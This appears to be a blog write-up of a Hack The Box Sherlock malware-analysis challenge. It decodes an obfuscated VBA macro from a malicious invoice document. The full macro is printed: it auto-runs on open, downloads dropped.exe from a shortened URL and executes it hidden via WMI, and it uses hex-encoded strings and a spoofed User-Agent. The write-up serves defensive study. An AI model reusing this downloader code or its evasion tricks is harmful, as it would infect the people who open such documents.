MediumMalicious_VBA. Sherlock Scenario | by Yufan Limbu | Medium
Sitemap

Malicious_VBA

7 min readAug 25, 2026

--

HTB Sherlock Malicious_VBA

Sherlock Scenario

One of the employees has received a suspicious document attached in the invoice email. They sent you the file to investigate. You managed to extract some strings from the VBA Macro document. Can you refer to CyberChef and decode the suspicious strings?

Connect to the VM with the credential provided using RDP or SSH From pwnbox use the command

xfreerdp /v:<ipaddress> /u:analyst /p:'123' /cert:ignore /dynamic-resolution

File Location: Desktop/ChallengeFiles/invoice.vb

This challenge prepared by @RussianPanda.

┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ file invoice.vb
invoice.vb: ASCII text, with CRLF line terminators

┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ cat invoice.vb
===============================================================================
FILE: inf.docm
Type: OpenXML
-------------------------------------------------------------------------------

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub avscuqctk()
Dim vxedylctlyqvkl As String
Dim yxxqowke As String
Dim yqlcangepvrccrx As Object, tmffoscpfdripcxpd As Object
Dim afcbydld As Integer
vxedylctlyqvkl = hgmneqolwgxg("68747470733a2f2f74696e") & hgmneqolwgxg("7975726c2e636f6d2f67327a3267683666")
yxxqowke = hgmneqolwgxg("64726f") & hgmneqolwgxg("707065642e657865")
yxxqowke = Environ("TEMP") & "\" & yxxqowke
Set yqlcangepvrccrx = CreateObject(hgmneqolwgxg("4d53584d4c322e") & hgmneqolwgxg("536572766572584d4c485454502e362e30"))
yqlcangepvrccrx.setOption(2) = 13056
yqlcangepvrccrx.Open hgmneqolwgxg("474554"), vxedylctlyqvkl, False
yqlcangepvrccrx.setRequestHeader hgmneqolwgxg("557365") & hgmneqolwgxg("722d4167656e74"), hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6d7061") & hgmneqolwgxg("7469626c653b204d53494520362e303b2057696e646f7773204e5420352e3029")
yqlcangepvrccrx.Send
If yqlcangepvrccrx.Status = 200 Then
Set tmffoscpfdripcxpd = CreateObject(hgmneqolwgxg("41444f") & hgmneqolwgxg("44422e53747265616d"))
tmffoscpfdripcxpd.Open
tmffoscpfdripcxpd.Type = 1
tmffoscpfdripcxpd.Write yqlcangepvrccrx.ResponseBody
tmffoscpfdripcxpd.SaveToFile yxxqowke, 2
tmffoscpfdripcxpd.Close
jausltewrjghdtvi yxxqowke
End If
End Sub
Sub AutoOpen()
avscuqctk
End Sub
Private Function hgmneqolwgxg(ByVal mynmavyclwok As String) As String
Dim ejdwyblxvgpy As Long
For ejdwyblxvgpy = 1 To Len(mynmavyclwok) Step 2
hgmneqolwgxg = hgmneqolwgxg & Chr$(Val("&H" & Mid$(mynmavyclwok, ejdwyblxvgpy, 2)))
Next ejdwyblxvgpy
End Function

-------------------------------------------------------------------------------
VBA MACRO cuabumrbh.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/cuabumrbh'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub txsctapysvyvh(xflqpurtgr As String)
CreateObject(jmkrohkvctnt("575363726970742e5368656c") & jmkrohkvctnt("6c")).Run xflqpurtgr, 0
End Sub
Private Function jmkrohkvctnt(ByVal vgqofbnoswth As String) As String
Dim nfwbabqqwqxf As Long
For nfwbabqqwqxf = 1 To Len(vgqofbnoswth) Step 2
jmkrohkvctnt = jmkrohkvctnt & Chr$(Val("&H" & Mid$(vgqofbnoswth, nfwbabqqwqxf, 2)))
Next nfwbabqqwqxf
End Function

-------------------------------------------------------------------------------
VBA MACRO cwzbjoiuq.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/cwzbjoiuq'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub jausltewrjghdtvi(tibgkzhn As String)
On Error Resume Next
Err.Clear
wimResult = kshliitwryv(tibgkzhn)
If Err.Number <> 0 Or wimResult <> 0 Then
Err.Clear
txsctapysvyvh tibgkzhn
End If
On Error GoTo 0
End Sub

-------------------------------------------------------------------------------
VBA MACRO lkxosgcqm.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/lkxosgcqm'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Function kshliitwryv(cmdLine As String) As Integer
Set rpmcsqkfmmefrk = GetObject(lylhbzknnnzm("77696e6d676d74") & lylhbzknnnzm("733a5c5c2e5c726f6f745c63696d7632"))
Set apcpmobozbywheter = rpmcsqkfmmefrk.Get(lylhbzknnnzm("57696e33325f50726f6365") & lylhbzknnnzm("737353746172747570"))
Set ojuovddfgrz = apcpmobozbywheter.SpawnInstance_
ojuovddfgrz.ShowWindow = 0
Set jcjvmxzi = GetObject(lylhbzknnnzm("77696e6d676d74733a5c5c2e5c726f6f745c63696d76323a57") & lylhbzknnnzm("696e33325f50726f63657373"))
kshliitwryv = jcjvmxzi.Create(cmdLine, Null, ojuovddfgrz, intProcessID)
End Function
Private Function lylhbzknnnzm(ByVal wawaggaffhsu As String) As String
Dim uuhcyhapguna As Long
For uuhcyhapguna = 1 To Len(wawaggaffhsu) Step 2
lylhbzknnnzm = lylhbzknnnzm & Chr$(Val("&H" & Mid$(wawaggaffhsu, uuhcyhapguna, 2)))
Next uuhcyhapguna
End Function

The invoice.vb file contains VBA code that has been obfuscated to make it harder to read and analyze. The variable and function names are randomly generated, while important strings such as URLs, object names, and commands are stored as hexadecimal values.

The code includes custom decoding functions that convert these hexadecimal strings back into readable text at runtime. This combination of randomized identifiers and hexadecimal-encoded strings is used to conceal the original VBA code and make static analysis more difficult.

Task 0

The document initiates the download of a payload after the execution, can you tell what website is hosting it?

https://tinyurl[.]com/g2z2gh6f

┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================
FILE: inf.docm
Type: OpenXML
-------------------------------------------------------------------------------
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

|VBA string|b'https://tin'b'yurl|hgmneqolwgxg("68747470733a2f2f74696e") & hgmn|
| |.com/g2z2gh6f' |eqolwgxg("7975726c2e636f6d2f67327a3267683666"|
| | |) |

The VBA macro does not store the URL in plain text. Instead, it splits the URL into two hexadecimal-encoded strings to make it harder to spot during analysis.

For example:

68747470733a2f2f74696e → https[:]//tin

7975726c2e636f6d2f67327a3267683666 → yurl[.]com/g2z2gh6f

The macro then combines both decoded strings to form:

https[:]//tinyurl[.]com/g2z2gh6f

This shortened URL is used by the malicious document to reach the location hosting the payload. Hiding the URL with encoding is a simple obfuscation technique designed to make static analysis more difficult.

Task 1

What is the filename of the payload (include the extension)?

dropped.exe
┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================


| | |) |
|VBA string|b'dro'b'pped.exe' |hgmneqolwgxg("64726f") & |
| | |hgmneqolwgxg("707065642e657865") |
|VBA string|%TEMP%\ |Environ("TEMP") & "\" |

The VBA macro also obfuscates the payload filename using hexadecimal encoding. The encoded strings:

  • 64726f → dro
  • 707065642e657865 → pped.exe

are decoded and concatenated to form:

dropped[.]exe

The macro then appends this filename to the system’s %TEMP% directory, resulting in a path such as:

C:\Users\<username>\AppData\Local\Temp\dropped[.]exe

After downloading the payload, the macro saves it to this location before executing it. This technique helps conceal the payload filename during static analysis.

Task 2

What method is it using to establish an HTTP connection between files on the malicious web server?

msxml2.serverxmlhttp
┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================
|VBA string|b'MSXML2.'b'ServerXM|(hgmneqolwgxg("4d53584d4c322e") & hgmneqolwgx|
| |LHTTP.6.0' |g("536572766572584d4c485454502e362e30")) |

The malicious document uses MSXML2.ServerXMLHTTP.6.0 to establish an HTTP connection with the remote server.

The VBA code hides the object name using hexadecimal encoding:

  • 4d53584d4c322e → MSXML2.
  • 536572766572584d4c485454502e362e30 → ServerXMLHTTP

When decoded and combined, they form:

MSXML2.ServerXMLHTTP

Get Yufan Limbu’s stories in your inbox

Join Medium for free to get updates from this writer.

The macro creates this object using CreateObject() and uses it to send an HTTP GET request to the malicious URL. The response from the server is then retrieved and saved as the payload.

This technique allows the malicious document to communicate directly with the remote server and download the payload without relying on a web browser.

Task 3

What user-agent string is it using?

mozilla/4.0 (compatible; msie 6.0; windows nt 5.0)
┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================

|VBA string|b'GET' |hgmneqolwgxg("474554") |
|VBA string|b'Use'b'r-Agent' |hgmneqolwgxg("557365") & |
| | |hgmneqolwgxg("722d4167656e74") |
|VBA string|b'Mozilla/4.0 |hgmneqolwgxg("4d6f7a696c6c612f342e302028636f6|
| |(compa'b'tible; MSIE|d7061") & hgmneqolwgxg("7469626c653b204d53494|
| |6.0; Windows NT |520362e303b2057696e646f7773204e5420352e3029")|
| |5.0)' | |

The malicious VBA macro sets a custom User-Agent string for its HTTP request. The value is hidden using hexadecimal encoding and reconstructed at runtime.

The encoded strings decode as follows:

  • 474554 → GET
  • 557365 + 722d4167656e74 → User-Agent
  • 4d6f7a696c6c612f342e302028636f6d7061 + 7469626c653b204d53494520362e303b2057696e646f7773204e542e3029 → Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

The resulting User-Agent is:

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)

The macro uses this value in the User-Agent HTTP header when sending the GET request. The string impersonates an older Internet Explorer browser running on Windows NT 5.0, which can help the malicious traffic blend in with legitimate-looking HTTP requests or bypass simple filtering based on User-Agent values.

Task 4

What object does the attacker use to be able to read or write text and binary files?

adodb.stream
┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================
FILE: inf.docm
Type: OpenXML
|VBA string|b'ADO'b'DB.Stream' |(hgmneqolwgxg("41444f") & |
| | |hgmneqolwgxg("44422e53747265616d")) |

The attacker uses the ADODB.Stream object to handle the downloaded payload as binary data.

The VBA code hides the object name using hexadecimal encoding:

  • 41444f → ADO
  • 44422e53747265616d → DB.Stream

When combined, they produce:

ADODB.Stream

The macro creates this object and sets its type to binary (1):

Settmffoscpfdripcxpd =CreateObject("ADODB.Stream")tmffoscpfdripcxpd.Opentmffoscpfdripcxpd.Type =1

It then writes the HTTP response — the downloaded payload — to the stream and saves it as dropped[.]exe.

In this case, ADODB.Stream acts as the mechanism for transferring the downloaded binary data from memory to a file on disk, allowing the malicious document to save the payload without directly using standard file-writing APIs.

Task 5

What is the object the attacker uses for WMI execution? Possibly they are using this to hide the suspicious application running in the background.

winmgmts:\\.\root\cimv2:win32_process

┌──(yufan㉿kali)-[~/htb/defendlets]
└─$ olevba invoice.vb --decode --deobf
XLMMacroDeobfuscator: pywin32 is not installed (only is required if you want to use MS Excel)
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools
===============================================================================
FILE: invoice.vb
Type: Text
-------------------------------------------------------------------------------
VBA MACRO invoice.vb
in file: invoice.vb - OLE stream: ''
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
===============================================================================
FILE: inf.docm
Type: OpenXML
-------------------------------------------------------------------------------
|VBA string|b'WScript.Shel' |jmkrohkvctnt("575363726970742e5368656c") |
|VBA string|b'winmgmt'b's:\\\\.\|(lylhbzknnnzm("77696e6d676d74") & lylhbzknnnz|
| |\root\\cimv2' |m("733a5c5c2e5c726f6f745c63696d7632")) |
|VBA string|b'Win32_Proce'b'ssSt|(lylhbzknnnzm("57696e33325f50726f6365") & |
| |artup' |lylhbzknnnzm("737353746172747570")) |
|VBA string|b'winmgmts:\\\\.\\ro|(lylhbzknnnzm("77696e6d676d74733a5c5c2e5c726f|
| |ot\\cimv2:W'b'in32_P|6f745c63696d76323a57") & |
| |rocess' |lylhbzknnnzm("696e33325f50726f63657373")) |

The attacker uses Windows Management Instrumentation (WMI) through the Win32_Process class to create and execute a process.

The VBA code reconstructs the WMI path using hexadecimal-encoded strings:

  • 77696e6d676d7473... → winmgmts:\\.\root\cimv2:
  • 696e33325f50726f63657373 → Win32_Process

Together, they form:

winmgmts:\\.\root\cimv2:Win32_Process

The macro connects to the local WMI namespace and obtains the Win32_Process class. It then uses the Create() method to launch the supplied command:

jcjvmxzi.Create(cmdLine,Null,ojuovddfgrz,intProcessID)

The code also creates a Win32_ProcessStartup object and sets:

ShowWindow = 0

This configures the new process window to be hidden.

In simple terms: the attacker uses WMI (winmgmts) and the Win32_Process class to execute the payload with a hidden window, helping the malicious activity run in the background without visibly displaying a command or application window to the user.

Press enter or click to view image in full size
Complete the challenge

--

--